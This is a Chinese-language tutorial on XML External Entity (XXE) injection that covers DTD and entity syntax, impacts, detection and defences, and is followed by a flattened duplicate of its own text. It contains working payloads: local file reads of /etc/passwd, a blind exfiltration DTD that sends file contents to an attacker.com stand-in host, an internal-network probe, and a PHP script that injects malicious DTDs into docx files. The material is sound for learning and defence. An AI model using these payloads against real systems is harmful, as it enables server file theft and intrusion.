XML外部实体注入小结
字数 1865 2025-08-29 08:32:25

XML外部实体注入(XXE)漏洞全面解析与防御指南

1. XML基础概念

1.1 XML与HTML的区别

  • 用途差异:HTML用于表现数据(关注表现形式),XML用于存储和传输数据(关注数据本身)
  • 标签定义:HTML标签是预定义的,XML标签是自定义的
  • 语法严格性:XML语法更严格,要求:
    • 标签必须闭合且正确嵌套
    • 大小写敏感
    • 属性值必须加引号
    • 保留连续空白符

1.2 XML文档声明

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
  • 称为XML prolog,声明XML版本和编码
  • standalone="yes"表示DTD仅用于验证文档结构(可能禁用外部实体)
  • 默认值为no,且某些解析器会忽略此项

2. DTD(文档类型定义)

2.1 DTD的作用

  • 定义合法的XML元素/属性及其嵌套关系
  • 定义实体引用(类似宏定义和文件包含)

2.2 DTD的两种形式

<!-- 内部DTD -->
<!DOCTYPE 根元素 [元素声明]>

<!-- 外部DTD -->
<!DOCTYPE 根元素 SYSTEM "文件URI(本地或网络)">
<!DOCTYPE 根元素 PUBLIC "PUBLIC_ID DTD名称" "外部DTD文件URI">

3. 实体(ENTITY)类型

3.1 分类维度

  1. 按位置

    • 内部实体:定义在XML文档内部
    • 外部实体:引用外部资源
  2. 按类型

    • 普通实体
    • 参数实体

3.2 实体声明语法

<!-- 内部普通实体 -->
<!ENTITY 实体名 "字符串">

<!-- 外部普通实体 -->
<!ENTITY 实体名 SYSTEM "URI">

<!-- 内部参数实体 -->
<!ENTITY % 实体名 "字符串">

<!-- 外部参数实体 -->
<!ENTITY % 实体名 SYSTEM "URI">

3.3 实体引用方式

  • 普通实体:&实体名; (可在DTD和XML中引用)
  • 参数实体:%实体名; (只能在DTD中引用)

4. XXE漏洞危害

  1. 本地文件读取:通过file://协议读取系统文件
  2. 内网探测:扫描内网主机和端口
  3. 网络访问:发起外部网络请求
  4. 命令执行:通过特定协议(如PHP的expect)执行系统命令
  5. 拒绝服务:通过实体嵌套引用造成指数爆炸攻击

5. XXE攻击技术

5.1 基本利用方式

5.1.1 利用外部DTD发起网络请求

<!DOCTYPE note SYSTEM "http://attacker.com/evil.dtd">

5.1.2 普通XXE读取文件

<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">]>
<c>&b;</c>

5.1.3 参数XXE读取文件

<!DOCTYPE a [<!ENTITY % b SYSTEM "http://attacker.com/evil.txt">%b;]>
<c>&d;</c>

(evil.txt内容: <!ENTITY d SYSTEM "file:///etc/passwd">)

5.2 盲注XXE(无回显)

利用外部参数实体将数据外带:

<!DOCTYPE a [<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.txt">%xxe;]>

(xxe.txt内容示例):

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % x '<!ENTITY % send SYSTEM "http://attacker.com/?data=%file;">'>
%x;
%send;

5.3 协议支持

不同语言/环境支持的协议可能不同,常见的有:

  • file:// - 读取本地文件
  • http:// - HTTP请求
  • ftp:// - FTP协议
  • php:// - PHP特定协议
  • expect:// - 执行系统命令(PHP)

6. 真实案例分析

6.1 常见攻击场景

  1. 在线文件预览:修改docx等文档中的XML内容
  2. 直接处理POST XML数据:如simplexml_load_string处理用户输入
  3. XML处理工具:格式化/检查工具中的漏洞
  4. RSS/OPML导入:博客搬家、RSS订阅等功能
  5. Web服务框架:如XFire、Slim框架中的XXE

6.2 典型案例

  • 网易/QQ邮箱XXE漏洞(读取任意文件)
  • 中通快递XXE漏洞(读取服务器文件)
  • 百度/搜狗平台XXE漏洞(SSRF/命令执行)
  • 用友HR软件XXE漏洞(全版本受影响)
  • Facebook OpenID XXE漏洞

7. XXE漏洞发现

7.1 注入测试字符

尝试注入以下字符观察响应:

  • 单双引号 ' "
  • 尖括号 < >
  • 注释符 <!--
  • &符号
  • CDATA分隔符 ]]>

7.2 探测技术

  1. 引用外部DTD探测内网:

    <!DOCTYPE a SYSTEM "http://192.168.1.1:80">
    

    (通过响应时间判断端口开放情况)

  2. 尝试读取已知文件:

    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    
  3. 盲注探测:

    <!ENTITY % xxe SYSTEM "http://attacker.com">
    

8. 恶意文档生成

8.1 手动方法

  1. 解压docx文件
  2. 修改word/document.xml添加恶意DTD
  3. 重新压缩为docx(使用仅存储方式)

8.2 自动化脚本(PHP示例)

function poisonWord($filename, $flag, $dtd, $entity_reference) {
    $zip = new ZipArchive();
    $zip->open($filename);
    $xml = $zip->getFromName('word/document.xml');
    $prolog = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>';
    $evilxml = str_replace([$prolog, $flag], [$prolog.$dtd, $flag.$entity_reference], $xml);
    $zip->deleteName('word/document.xml');
    $zip->addFromString("word/document.xml", $evilxml);
    $zip->close();
}

9. 防御措施

9.1 最佳实践

  1. 彻底禁用DTD:最有效的防御方式
  2. 禁用外部实体
    • PHP: libxml_disable_entity_loader(true);
    • Java: 设置DocumentBuilderFactory相关属性
  3. 输入验证:严格过滤用户提供的XML数据

9.2 其他措施

  • 使用较新版本的libxml2(2.9.1+有改进)
  • 对XML解析器进行安全配置
  • 实施网络层防护,限制出站连接

10. 补充说明

  • PHP版本误区:XXE与PHP版本无关,与编译时的libxml库版本有关
  • libxml2版本安全改进
    • v2.9.5: 检测参数实体无限递归
    • v2.9.2: 修复CVE-2014-3660(十亿笑攻击变种)
    • v2.9.0: 默认不获取外部解析实体

通过全面理解XXE漏洞的原理、利用方式和防御措施,可以有效防范这类安全问题。在实际开发中,应特别注意处理用户提供的XML数据时的安全性。

XML外部实体注入(XXE)漏洞全面解析与防御指南 1. XML基础概念 1.1 XML与HTML的区别 用途差异 :HTML用于表现数据(关注表现形式),XML用于存储和传输数据(关注数据本身) 标签定义 :HTML标签是预定义的,XML标签是自定义的 语法严格性 :XML语法更严格,要求: 标签必须闭合且正确嵌套 大小写敏感 属性值必须加引号 保留连续空白符 1.2 XML文档声明 称为XML prolog,声明XML版本和编码 standalone="yes" 表示DTD仅用于验证文档结构(可能禁用外部实体) 默认值为 no ,且某些解析器会忽略此项 2. DTD(文档类型定义) 2.1 DTD的作用 定义合法的XML元素/属性及其嵌套关系 定义实体引用(类似宏定义和文件包含) 2.2 DTD的两种形式 3. 实体(ENTITY)类型 3.1 分类维度 按位置 : 内部实体:定义在XML文档内部 外部实体:引用外部资源 按类型 : 普通实体 参数实体 3.2 实体声明语法 3.3 实体引用方式 普通实体: &实体名; (可在DTD和XML中引用) 参数实体: %实体名; (只能在DTD中引用) 4. XXE漏洞危害 本地文件读取 :通过 file:// 协议读取系统文件 内网探测 :扫描内网主机和端口 网络访问 :发起外部网络请求 命令执行 :通过特定协议(如PHP的expect)执行系统命令 拒绝服务 :通过实体嵌套引用造成指数爆炸攻击 5. XXE攻击技术 5.1 基本利用方式 5.1.1 利用外部DTD发起网络请求 5.1.2 普通XXE读取文件 5.1.3 参数XXE读取文件 (evil.txt内容: <!ENTITY d SYSTEM "file:///etc/passwd"> ) 5.2 盲注XXE(无回显) 利用外部参数实体将数据外带: (xxe.txt内容示例): 5.3 协议支持 不同语言/环境支持的协议可能不同,常见的有: file:// - 读取本地文件 http:// - HTTP请求 ftp:// - FTP协议 php:// - PHP特定协议 expect:// - 执行系统命令(PHP) 6. 真实案例分析 6.1 常见攻击场景 在线文件预览 :修改docx等文档中的XML内容 直接处理POST XML数据 :如 simplexml_load_string 处理用户输入 XML处理工具 :格式化/检查工具中的漏洞 RSS/OPML导入 :博客搬家、RSS订阅等功能 Web服务框架 :如XFire、Slim框架中的XXE 6.2 典型案例 网易/QQ邮箱XXE漏洞(读取任意文件) 中通快递XXE漏洞(读取服务器文件) 百度/搜狗平台XXE漏洞(SSRF/命令执行) 用友HR软件XXE漏洞(全版本受影响) Facebook OpenID XXE漏洞 7. XXE漏洞发现 7.1 注入测试字符 尝试注入以下字符观察响应: 单双引号 ' " 尖括号 < > 注释符 <!-- & 符号 CDATA分隔符 ]]> 7.2 探测技术 引用外部DTD探测内网: (通过响应时间判断端口开放情况) 尝试读取已知文件: 盲注探测: 8. 恶意文档生成 8.1 手动方法 解压docx文件 修改 word/document.xml 添加恶意DTD 重新压缩为docx(使用仅存储方式) 8.2 自动化脚本(PHP示例) 9. 防御措施 9.1 最佳实践 彻底禁用DTD :最有效的防御方式 禁用外部实体 : PHP: libxml_disable_entity_loader(true); Java: 设置 DocumentBuilderFactory 相关属性 输入验证 :严格过滤用户提供的XML数据 9.2 其他措施 使用较新版本的libxml2(2.9.1+有改进) 对XML解析器进行安全配置 实施网络层防护,限制出站连接 10. 补充说明 PHP版本误区 :XXE与PHP版本无关,与编译时的libxml库版本有关 libxml2版本安全改进 : v2.9.5: 检测参数实体无限递归 v2.9.2: 修复CVE-2014-3660(十亿笑攻击变种) v2.9.0: 默认不获取外部解析实体 通过全面理解XXE漏洞的原理、利用方式和防御措施,可以有效防范这类安全问题。在实际开发中,应特别注意处理用户提供的XML数据时的安全性。